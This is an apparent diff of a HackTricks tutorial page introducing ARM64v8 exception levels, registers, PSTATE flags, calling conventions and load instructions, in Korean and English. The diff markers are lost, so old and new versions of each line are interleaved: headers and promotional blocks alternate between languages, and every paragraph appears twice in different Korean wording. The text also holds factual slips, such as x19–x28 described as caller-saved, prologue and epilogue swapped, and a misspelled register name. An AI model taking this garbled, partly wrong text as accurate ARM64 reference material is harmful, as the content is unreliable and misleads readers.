* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,257 +1,257 @@
|
|||
# ARM64v8 소개
|
||||
# Introduction to ARM64v8
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 실습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 요령 공유하기.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **예외 수준 - EL (ARM64v8)**
|
||||
## **Exception Levels - EL (ARM64v8)**
|
||||
|
||||
ARMv8 아키텍처에서 실행 수준인 예외 수준 (EL)은 실행 환경의 권한 수준과 기능을 정의합니다. EL0부터 EL3까지 총 네 가지 예외 수준이 있으며 각각 다른 목적을 제공합니다:
|
||||
ARMv8 아키텍처에서 예외 수준(EL)은 실행 환경의 권한 수준과 기능을 정의합니다. EL0에서 EL3까지 네 가지 예외 수준이 있으며, 각각 다른 목적을 가지고 있습니다:
|
||||
|
||||
1. **EL0 - 사용자 모드**:
|
||||
* 이는 가장 낮은 권한 수준으로 일반 응용 프로그램 코드를 실행하는 데 사용됩니다.
|
||||
* EL0에서 실행되는 응용 프로그램은 서로 및 시스템 소프트웨어로부터 격리되어 보안과 안정성을 향상시킵니다.
|
||||
* 가장 권한이 낮은 수준으로, 일반 애플리케이션 코드를 실행하는 데 사용됩니다.
|
||||
* EL0에서 실행되는 애플리케이션은 서로 및 시스템 소프트웨어와 격리되어 보안성과 안정성을 향상시킵니다.
|
||||
2. **EL1 - 운영 체제 커널 모드**:
|
||||
* 대부분의 운영 체제 커널이 이 수준에서 실행됩니다.
|
||||
* EL1은 EL0보다 더 많은 권한을 가지고 시스템 리소스에 액세스할 수 있지만 시스템 무결성을 보장하기 위해 일부 제한이 있습니다.
|
||||
* 대부분의 운영 체제 커널은 이 수준에서 실행됩니다.
|
||||
* EL1은 EL0보다 더 많은 권한을 가지며 시스템 리소스에 접근할 수 있지만, 시스템 무결성을 보장하기 위해 일부 제한이 있습니다.
|
||||
3. **EL2 - 하이퍼바이저 모드**:
|
||||
* 이 수준은 가상화에 사용됩니다. EL2에서 실행되는 하이퍼바이저는 동일한 물리 하드웨어에서 실행되는 여러 운영 체제 (각각이 고유한 EL1에서)를 관리할 수 있습니다.
|
||||
* EL2는 가상화 환경의 격리 및 제어 기능을 제공합니다.
|
||||
4. **EL3 - 안전 모니터 모드**:
|
||||
* 이는 가장 높은 권한 수준으로 안전 부팅 및 신뢰할 수 있는 실행 환경에 자주 사용됩니다.
|
||||
* EL3는 안전 및 비안전 상태 간의 액세스를 관리하고 제어할 수 있습니다 (예: 안전 부팅, 신뢰할 수 있는 OS 등).
|
||||
* 이 수준은 가상화를 위해 사용됩니다. EL2에서 실행되는 하이퍼바이저는 동일한 물리적 하드웨어에서 여러 운영 체제(각각 자신의 EL1에서 실행)를 관리할 수 있습니다.
|
||||
* EL2는 가상화된 환경의 격리 및 제어 기능을 제공합니다.
|
||||
4. **EL3 - 보안 모니터 모드**:
|
||||
* 가장 권한이 높은 수준으로, 보안 부팅 및 신뢰할 수 있는 실행 환경에 자주 사용됩니다.
|
||||
* EL3는 보안 및 비보안 상태 간의 접근을 관리하고 제어할 수 있습니다(예: 보안 부팅, 신뢰할 수 있는 OS 등).
|
||||
|
||||
이러한 수준의 사용은 사용자 응용 프로그램부터 가장 높은 권한을 가진 시스템 소프트웨어까지 시스템의 다양한 측면을 구조화하고 안전하게 관리하는 방법을 제공합니다. ARMv8의 권한 수준 접근 방식은 다른 시스템 구성 요소를 효과적으로 격리함으로써 시스템의 보안성과 견고성을 향상시킵니다.
|
||||
이러한 수준의 사용은 사용자 애플리케이션에서 가장 권한이 높은 시스템 소프트웨어에 이르기까지 시스템의 다양한 측면을 구조적이고 안전하게 관리할 수 있는 방법을 제공합니다. ARMv8의 권한 수준 접근 방식은 서로 다른 시스템 구성 요소를 효과적으로 격리하는 데 도움을 주어 시스템의 보안성과 견고성을 향상시킵니다.
|
||||
|
||||
## **레지스터 (ARM64v8)**
|
||||
## **Registers (ARM64v8)**
|
||||
|
||||
ARM64에는 `x0`부터 `x30`까지 레이블이 지정된 **31개의 범용 레지스터**가 있습니다. 각 레지스터는 **64비트** (8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 작업에 대해 동일한 레지스터는 `w0`부터 `w30`까지의 이름을 사용하여 32비트 모드에서 액세스할 수 있습니다.
|
||||
ARM64에는 `x0`에서 `x30`까지 레이블이 붙은 **31개의 일반 목적 레지스터**가 있습니다. 각 레지스터는 **64비트**(8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 작업의 경우, 동일한 레지스터를 32비트 모드에서 `w0`에서 `w30`까지의 이름으로 접근할 수 있습니다.
|
||||
|
||||
1. **`x0`** ~ **`x7`** - 주로 스크래치 레지스터로 사용되며 서브루틴에 매개변수를 전달하는 데 사용됩니다.
|
||||
* **`x0`**은 함수의 반환 데이터도 운반합니다.
|
||||
2. **`x8`** - Linux 커널에서 `x8`은 `svc` 명령을 위한 시스템 호출 번호로 사용됩니다. **macOS에서는 x16이 사용됩니다!**
|
||||
3. **`x9`** ~ **`x15`** - 더 많은 임시 레지스터로서 주로 로컬 변수에 사용됩니다.
|
||||
4. **`x16`** 및 **`x17`** - **함수 내부 호출 레지스터**. 즉시 값에 대한 임시 레지스터입니다. 간접 함수 호출 및 PLT (Procedure Linkage Table) 스텁에도 사용됩니다.
|
||||
* **`x16`**은 **macOS**에서 **`svc`** 명령을 위한 **시스템 호출 번호**로 사용됩니다.
|
||||
5. **`x18`** - **플랫폼 레지스터**. 일반 목적 레지스터로 사용될 수 있지만 일부 플랫폼에서는 이 레지스터가 플랫폼별 용도로 예약되어 있습니다: Windows의 현재 스레드 환경 블록을 가리키는 포인터 또는 Linux 커널에서 현재 **실행 중인 작업 구조체를 가리키는 포인터**.
|
||||
6. **`x19`** ~ **`x28`** - 이는 호출자 저장 레지스터입니다. 함수는 호출자를 위해 이러한 레지스터의 값을 보존해야 하므로 스택에 저장되고 호출자로 돌아가기 전에 복구되어야 합니다.
|
||||
7. **`x29`** - **프레임 포인터**로 스택 프레임을 추적하는 데 사용됩니다. 함수가 호출되어 새로운 스택 프레임이 생성될 때 **`x29`** 레지스터는 **스택에 저장**되고 **새로운** 프레임 포인터 주소 (**`sp`** 주소)가 **이 레지스터에 저장**됩니다.
|
||||
* 이 레지스터는 **일반 목적 레지스터**로 사용될 수도 있지만 일반적으로 **로컬 변수에 대한 참조로 사용**됩니다.
|
||||
8. **`x30`** 또는 **`lr`**- **링크 레지스터**. `BL` (Branch with Link) 또는 `BLR` (Register로 Link) 명령이 실행될 때 **`pc`** 값을 이 레지스터에 저장하여 **리턴 주소**를 보유합니다.
|
||||
* 다른 레지스터와 마찬가지로 사용할 수 있습니다.
|
||||
* 현재 함수가 새 함수를 호출하고 따라서 `lr`을 덮어쓸 것이라면, 시작 시 `lr`을 스택에 저장하고, 이것이 에필로그임 (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`와 `lr` 저장, 공간 생성 및 새 `fp` 얻기)이며, 끝에 복구합니다. 이것이 프롤로그임 (`ldp x29, x30, [sp], #48; ret` -> `fp`와 `lr` 복구 및 반환).
|
||||
9. **`sp`** - **스택 포인터**로 스택의 맨 위를 추적하는 데 사용됩니다.
|
||||
* **`sp`** 값은 항상 적어도 **쿼드워드 정렬**을 유지해야 하며 그렇지 않으면 정렬 예외가 발생할 수 있습니다.
|
||||
10. **`pc`** - 다음 명령을 가리키는 **프로그램 카운터**. 이 레지스터는 예외 생성, 예외 반환 및 분기를 통해서만 업데이트될 수 있습니다. 이 레지스터를 읽을 수 있는 일반 명령은 브랜치와 링크 명령 (BL, BLR)뿐이며 **`pc`** 주소를 **`lr`** (링크 레지스터)에 저장하기 위해 사용됩니다.
|
||||
11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태에서는 **`wzr`**로도 불립니다. 제로 값을 쉽게 얻거나 **`subs`**를 사용하여 **`xzr`**에 결과 데이터를 저장하지 않고 **`subs XZR, Xn, #10`**과 같이 비교를 수행하는 데 사용할 수 있습니다.
|
||||
1. **`x0`**에서 **`x7`** - 일반적으로 스크래치 레지스터 및 서브루틴에 매개변수를 전달하는 데 사용됩니다.
|
||||
* **`x0`**는 함수의 반환 데이터를 전달합니다.
|
||||
2. **`x8`** - 리눅스 커널에서 `x8`은 `svc` 명령어의 시스템 호출 번호로 사용됩니다. **macOS에서는 x16이 사용됩니다!**
|
||||
3. **`x9`**에서 **`x15`** - 더 많은 임시 레지스터로, 종종 지역 변수를 위해 사용됩니다.
|
||||
4. **`x16`** 및 **`x17`** - **프로시저 호출 레지스터**. 즉각적인 값을 위한 임시 레지스터입니다. 간접 함수 호출 및 PLT(프로시저 링크 테이블) 스텁에도 사용됩니다.
|
||||
* **`x16`**은 **macOS**에서 **`svc`** 명령어의 **시스템 호출 번호**로 사용됩니다.
|
||||
5. **`x18`** - **플랫폼 레지스터**. 일반 목적 레지스터로 사용할 수 있지만, 일부 플랫폼에서는 이 레지스터가 플랫폼 특정 용도로 예약되어 있습니다: Windows의 현재 스레드 환경 블록에 대한 포인터 또는 리눅스 커널의 현재 **실행 중인 작업 구조**를 가리킵니다.
|
||||
6. **`x19`**에서 **`x28`** - 이들은 호출자 저장 레지스터입니다. 함수는 호출자를 위해 이러한 레지스터의 값을 보존해야 하므로, 스택에 저장되고 호출자에게 돌아가기 전에 복구됩니다.
|
||||
7. **`x29`** - 스택 프레임을 추적하기 위한 **프레임 포인터**입니다. 함수가 호출되어 새로운 스택 프레임이 생성되면, **`x29`** 레지스터는 **스택에 저장**되고 **새로운** 프레임 포인터 주소(**`sp`** 주소)가 **이 레지스터에 저장**됩니다.
|
||||
* 이 레지스터는 **일반 목적 레지스터**로도 사용될 수 있지만, 일반적으로 **지역 변수**에 대한 참조로 사용됩니다.
|
||||
8. **`x30`** 또는 **`lr`** - **링크 레지스터**. `BL`(링크가 있는 분기) 또는 `BLR`(레지스터로 링크가 있는 분기) 명령어가 실행될 때 **반환 주소**를 보유하며, **`pc`** 값을 이 레지스터에 저장합니다.
|
||||
* 다른 레지스터처럼 사용할 수도 있습니다.
|
||||
* 현재 함수가 새로운 함수를 호출하고 따라서 `lr`을 덮어쓰게 되면, 시작 시 스택에 저장합니다. 이것이 에필로그입니다(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`와 `lr` 저장, 공간 생성 및 새로운 `fp` 가져오기) 및 끝에서 복구합니다. 이것이 프로롤로그입니다(`ldp x29, x30, [sp], #48; ret` -> `fp`와 `lr` 복구 및 반환).
|
||||
9. **`sp`** - **스택 포인터**, 스택의 맨 위를 추적하는 데 사용됩니다.
|
||||
* **`sp`** 값은 항상 최소한 **쿼드워드** **정렬**을 유지해야 하며, 그렇지 않으면 정렬 예외가 발생할 수 있습니다.
|
||||
10. **`pc`** - **프로그램 카운터**, 다음 명령어를 가리킵니다. 이 레지스터는 예외 생성, 예외 반환 및 분기를 통해서만 업데이트할 수 있습니다. 이 레지스터를 읽을 수 있는 유일한 일반 명령어는 링크가 있는 분기 명령어(BL, BLR)로, **`pc`** 주소를 **`lr`**(링크 레지스터)에 저장합니다.
|
||||
11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태에서는 **`wzr`**라고도 불립니다. 제로 값을 쉽게 얻거나(일반적인 작업) **`subs`**를 사용하여 비교를 수행하는 데 사용할 수 있습니다. 예: **`subs XZR, Xn, #10`** 결과 데이터를 아무 곳에도 저장하지 않습니다( **`xzr`**에 저장).
|
||||
|
||||
**`Wn`** 레지스터는 **`Xn`** 레지스터의 32비트 버전입니다.
|
||||
**`Wn`** 레지스터는 **`Xn`** 레지스터의 **32비트** 버전입니다.
|
||||
|
||||
### SIMD 및 부동 소수점 레지스터
|
||||
|
||||
또한 최적화된 단일 명령 다중 데이터 (SIMD) 작업 및 부동 소수점 산술을 수행하는 데 사용할 수 있는 길이가 128비트인 다른 **32개의 레지스터**가 있습니다. 이러한 레지스터는 Vn 레지스터라고 불리지만 64비트, 32비트, 16비트 및 8비트에서도 작동할 수 있으며 **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** 및 **`Bn`**으로 불립니다.
|
||||
또한 최적화된 단일 명령어 다중 데이터(SIMD) 작업 및 부동 소수점 산술을 수행하는 데 사용할 수 있는 **128비트 길이의 32개 레지스터**가 있습니다. 이들은 Vn 레지스터라고 하며, **64**비트, **32**비트, **16**비트 및 **8**비트로도 작동할 수 있으며, 이 경우 **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** 및 **`Bn`**이라고 불립니다.
|
||||
|
||||
### 시스템 레지스터
|
||||
|
||||
**수백 개의 시스템 레지스터** 또는 특수 목적 레지스터(SPR)는 **프로세서** 동작을 **모니터링**하고 **제어**하는 데 사용됩니다.\
|
||||
이러한 레지스터는 전용 특수 명령어 **`mrs`**와 **`msr`**을 사용하여만 읽거나 설정할 수 있습니다.
|
||||
**수백 개의 시스템 레지스터**가 있으며, 이를 특수 목적 레지스터(SPR)라고도 하며, **프로세서** 동작을 **모니터링**하고 **제어**하는 데 사용됩니다.\
|
||||
이들은 전용 특수 명령어 **`mrs`** 및 **`msr`**를 사용하여만 읽거나 설정할 수 있습니다.
|
||||
|
||||
특수 레지스터 **`TPIDR_EL0`**와 **`TPIDDR_EL0`**은 역공학에서 자주 발견됩니다. `EL0` 접미사는 레지스터에 액세스할 수 있는 **최소 예외**를 나타냅니다(이 경우 EL0은 정규 예외(권한) 수준으로 일반 프로그램이 실행됩니다).\
|
||||
이들은 주로 메모리의 **스레드 로컬 저장소** 영역의 **기본 주소**를 저장하는 데 사용됩니다. 일반적으로 첫 번째 레지스터는 EL0에서 실행 중인 프로그램에 대해 읽기 및 쓰기가 가능하지만, 두 번째 레지스터는 EL0에서 읽을 수 있고 EL1(커널과 같은)에서 쓸 수 있습니다.
|
||||
특수 레지스터 **`TPIDR_EL0`** 및 **`TPIDDR_EL0`**는 리버스 엔지니어링 시 일반적으로 발견됩니다. `EL0` 접미사는 레지스터에 접근할 수 있는 **최소 예외**를 나타냅니다(이 경우 EL0는 일반 프로그램이 실행되는 일반 예외(권한) 수준입니다).\
|
||||
이들은 종종 메모리의 **스레드 로컬 저장소** 영역의 **기본 주소**를 저장하는 데 사용됩니다. 일반적으로 첫 번째는 EL0에서 실행되는 프로그램에 대해 읽기 및 쓰기가 가능하지만, 두 번째는 EL0에서 읽을 수 있고 EL1(커널)에서 쓸 수 있습니다.
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; TPIDR_EL0을 x0으로 읽기`
|
||||
* `msr TPIDR_EL0, X0 ; x0를 TPIDR_EL0에 쓰기`
|
||||
* `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
|
||||
* `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE**에는 운영 체제에서 볼 수 있는 **`SPSR_ELx`** 특수 레지스터로 직렬화된 여러 프로세스 구성 요소가 포함되어 있습니다. 여기서 X는 **트리거된** 예외의 **권한** **수준을 나타냅니다(이는 예외가 종료될 때 프로세스 상태를 복구할 수 있게 합니다).\
|
||||
다음은 접근 가능한 필드입니다:
|
||||
**PSTATE**는 운영 체제에서 볼 수 있는 **`SPSR_ELx`** 특수 레지스터에 직렬화된 여러 프로세스 구성 요소를 포함하고 있으며, 여기서 X는 트리거된 예외의 **권한** **수준**을 나타냅니다(이는 예외가 끝날 때 프로세스 상태를 복구할 수 있게 합니다).\
|
||||
접근 가능한 필드는 다음과 같습니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **`N`**, **`Z`**, **`C`**, **`V`** 조건 플래그:
|
||||
* **`N`**은 작업이 음수 결과를 생성했음을 의미합니다.
|
||||
* **`Z`**는 작업이 0을 생성했음을 의미합니다.
|
||||
* **`C`**는 작업이 캐리되었음을 의미합니다.
|
||||
* **`V`**는 작업이 부호 오버플로우를 생성했음을 의미합니다:
|
||||
* 두 양수의 합은 음수 결과를 생성합니다.
|
||||
* 두 음수의 합은 양수 결과를 생성합니다.
|
||||
* 뺄셈에서 큰 음수가 작은 양수에서 뺄셈되거나 그 반대인 경우, 그 결과가 주어진 비트 크기의 범위 내에 표현할 수 없는 경우.
|
||||
* 당연히 프로세서는 작업이 부호 있는지 여부를 알 수 없으므로 작업에서 C와 V를 확인하고 부호 있는지 또는 부호 없는지에 따라 발생한 캐리를 나타냅니다.
|
||||
* **`N`**, **`Z`**, **`C`** 및 **`V`** 조건 플래그:
|
||||
* **`N`**은 연산 결과가 음수임을 의미합니다.
|
||||
* **`Z`**는 연산 결과가 0임을 의미합니다.
|
||||
* **`C`**는 연산이 캐리되었음을 의미합니다.
|
||||
* **`V`**는 연산이 부호 오버플로우를 발생시켰음을 의미합니다:
|
||||
* 두 개의 양수의 합이 음수 결과를 생성합니다.
|
||||
* 두 개의 음수의 합이 양수 결과를 생성합니다.
|
||||
* 뺄셈에서 큰 음수를 작은 양수에서 빼거나(또는 그 반대의 경우), 결과가 주어진 비트 크기 범위 내에서 표현될 수 없는 경우.
|
||||
* 명백히 프로세서는 연산이 부호가 있는지 없는지를 알 수 없으므로, 연산에서 C와 V를 확인하고 부호가 있는 경우 캐리가 발생했음을 나타냅니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
모든 명령이 이러한 플래그를 업데이트하지는 않습니다. **`CMP`** 또는 **`TST`**와 같은 일부 명령은 그렇지만, **`ADDS`**와 같이 s 접미사가 있는 다른 명령도 그렇습니다.
|
||||
모든 명령어가 이러한 플래그를 업데이트하는 것은 아닙니다. **`CMP`** 또는 **`TST`**와 같은 일부는 업데이트하며, **`ADDS`**와 같은 s 접미사가 있는 다른 명령어도 업데이트합니다.
|
||||
{% endhint %}
|
||||
|
||||
* 현재 **레지스터 너비(`nRW`) 플래그**: 플래그가 값 0을 보유하면 프로그램이 다시 시작될 때 AArch64 실행 상태에서 실행됩니다.
|
||||
* 현재 **예외 수준**(**`EL`**): EL0에서 실행 중인 일반 프로그램은 값 0을 갖습니다.
|
||||
* **단계별 실행** 플래그(**`SS`**): 디버거가 단계별 실행을 위해 **`SPSR_ELx`** 내의 SS 플래그를 1로 설정하는 데 사용됩니다. 프로그램은 한 단계를 실행하고 단계별 실행 예외를 발생시킵니다.
|
||||
* **잘못된 예외** 상태 플래그(**`IL`**): 특권 소프트웨어가 잘못된 예외 수준 전송을 수행할 때 사용되며, 이 플래그는 1로 설정되고 프로세서는 잘못된 상태 예외를 트리거합니다.
|
||||
* **`DAIF`** 플래그: 이러한 플래그를 사용하여 특권 프로그램이 특정 외부 예외를 선택적으로 마스킹할 수 있습니다.
|
||||
* **`A`**가 1이면 **비동기 중단**이 트리거됩니다. **`I`**는 외부 하드웨어 **인터럽트 요청**에 응답하도록 구성하고 F는 **빠른 인터럽트 요청**과 관련이 있습니다.
|
||||
* **스택 포인터 선택** 플래그(**`SPS`**): EL1 및 이상에서 실행 중인 특권 프로그램은 자체 스택 포인터 레지스터와 사용자 모델 스택 포인터 레지스터 사이를 전환할 수 있습니다(예: `SP_EL1` 및 `EL0` 사이). 이 전환은 **`SPSel`** 특수 레지스터에 쓰기를 통해 수행됩니다. EL0에서는 이 작업을 수행할 수 없습니다.
|
||||
* 현재 **레지스터 너비(`nRW`) 플래그**: 플래그가 0 값을 가지면 프로그램이 재개될 때 AArch64 실행 상태에서 실행됩니다.
|
||||
* 현재 **예외 수준**(**`EL`**): EL0에서 실행되는 일반 프로그램은 값이 0입니다.
|
||||
* **단일 스텝** 플래그(**`SS`**): 디버거가 예외를 통해 **`SPSR_ELx`** 내에서 SS 플래그를 1로 설정하여 단일 스텝을 수행하는 데 사용됩니다. 프로그램은 한 단계를 실행하고 단일 스텝 예외를 발생시킵니다.
|
||||
* **불법 예외** 상태 플래그(**`IL`**): 권한 있는 소프트웨어가 잘못된 예외 수준 전환을 수행할 때 표시하는 데 사용되며, 이 플래그는 1로 설정되고 프로세서는 불법 상태 예외를 발생시킵니다.
|
||||
* **`DAIF`** 플래그: 이 플래그는 권한 있는 프로그램이 특정 외부 예외를 선택적으로 마스킹할 수 있게 합니다.
|
||||
* **`A`**가 1이면 **비동기 중단**이 발생함을 의미합니다. **`I`**는 외부 하드웨어 **인터럽트 요청**(IRQ)에 응답하도록 구성합니다. F는 **빠른 인터럽트 요청**(FIR)과 관련이 있습니다.
|
||||
* **스택 포인터 선택** 플래그(**`SPS`**): EL1 이상에서 실행되는 권한 있는 프로그램은 자신의 스택 포인터 레지스터와 사용자 모델 스택 포인터 간에 전환할 수 있습니다(예: `SP_EL1`과 `EL0` 간). 이 전환은 **`SPSel`** 특수 레지스터에 쓰기를 통해 수행됩니다. EL0에서는 수행할 수 없습니다.
|
||||
|
||||
## **호출 규약 (ARM64v8)**
|
||||
## **Calling Convention (ARM64v8)**
|
||||
|
||||
ARM64 호출 규약은 함수에 전달되는 **첫 번째 여덟 개의 매개변수**가 **`x0`부터 `x7`** 레지스터에 전달되어야 함을 명시합니다. **추가** 매개변수는 **스택**에 전달됩니다. **반환** 값은 레지스터 **`x0`**에 반환되거나 **128비트인 경우** **`x1`**에도 반환됩니다. **`x19`**부터 **`x30`** 및 **`sp`** 레지스터는 함수 호출 간에 **보존**되어야 합니다.
|
||||
ARM64 호출 규칙은 함수에 대한 **첫 번째 여덟 개 매개변수**가 레지스터 **`x0`**에서 **`x7`**까지 전달된다고 명시합니다. **추가** 매개변수는 **스택**에 전달됩니다. **반환** 값은 레지스터 **`x0`**에 반환되거나, **`x1`**에 반환되며 **128비트 길이**인 경우에도 반환됩니다. **`x19`**에서 **`x30`** 및 **`sp`** 레지스터는 함수 호출 간에 **보존**되어야 합니다.
|
||||
|
||||
어셈블리에서 함수를 읽을 때 **함수 프롤로그와 에필로그**를 찾으세요. **프롤로그**는 일반적으로 **프레임 포인터(`x29`)를 저장**, **새 프레임 포인터 설정** 및 **스택 공간 할당**을 포함합니다. **에필로그**는 일반적으로 **저장된 프레임 포인터를 복원**하고 함수에서 **반환**하는 것을 포함합니다.
|
||||
어셈블리에서 함수를 읽을 때는 **함수 프로롤로그 및 에필로그**를 찾아야 합니다. **프로롤로그**는 일반적으로 **프레임 포인터(`x29`) 저장**, **새로운 프레임 포인터 설정**, 및 **스택 공간 할당**을 포함합니다. **에필로그**는 일반적으로 **저장된 프레임 포인터 복원** 및 **함수에서 반환**하는 것을 포함합니다.
|
||||
|
||||
### Swift에서의 호출 규약
|
||||
### Swift의 호출 규칙
|
||||
|
||||
Swift에는 자체 **호출 규약**이 있으며 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)에서 찾을 수 있습니다.
|
||||
Swift는 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)에서 찾을 수 있는 자체 **호출 규칙**을 가지고 있습니다.
|
||||
|
||||
## **일반 명령어 (ARM64v8)**
|
||||
## **Common Instructions (ARM64v8)**
|
||||
|
||||
ARM64 명령어는 일반적으로 **`opcode dst, src1, src2`** 형식을 갖습니다. 여기서 **`opcode`**는 수행할 작업(예: `add`, `sub`, `mov` 등)을 나타내며, **`dst`**는 결과가 저장될 **대상** 레지스터이고 **`src1`** 및 **`src2`**는 **소스** 레지스터입니다. 즉시 값은 소스 레지스터 대신 사용할 수도 있습니다.
|
||||
ARM64 명령어는 일반적으로 **형식 `opcode dst, src1, src2`**를 가지며, 여기서 **`opcode`**는 수행할 **작업**(예: `add`, `sub`, `mov` 등), **`dst`**는 결과가 저장될 **대상** 레지스터, **`src1`** 및 **`src2`**는 **소스** 레지스터입니다. 즉각적인 값도 소스 레지스터 대신 사용할 수 있습니다.
|
||||
|
||||
* **`mov`**: 한 **레지스터**에서 다른 **레지스터**로 값 이동.
|
||||
* 예: `mov x0, x1` — 이는 `x1`의 값을 `x0`로 이동합니다.
|
||||
* **`ldr`**: **메모리**에서 값 로드하여 **레지스터**에 저장.
|
||||
* 예: `ldr x0, [x1]` — 이는 `x1`이 가리키는 메모리 위치에서 값을 `x0`로 로드합니다.
|
||||
* **오프셋 모드**: 원래 포인터에 영향을 주는 오프셋이 표시됩니다. 예를 들어:
|
||||
* `ldr x2, [x1, #8]`, 이는 x1 + 8에서 x2에 값을 로드합니다.
|
||||
* `ldr x2, [x0, x1, lsl #2]`, 이는 x0 배열에서 x1(인덱스) \* 4 위치의 객체를 x2에 로드합니다.
|
||||
* **선행 인덱스 모드**: 이는 원본에 계산을 적용하고 결과를 얻은 후 새 원본을 원본에 저장합니다.
|
||||
* `ldr x2, [x1, #8]!`, 이는 `x1 + 8`을 `x2`에 로드하고 `x1 + 8`의 결과를 `x1`에 저장합니다.
|
||||
* `str lr, [sp, #-4]!`, 링크 레지스터를 sp에 저장하고 레지스터 sp를 업데이트합니다.
|
||||
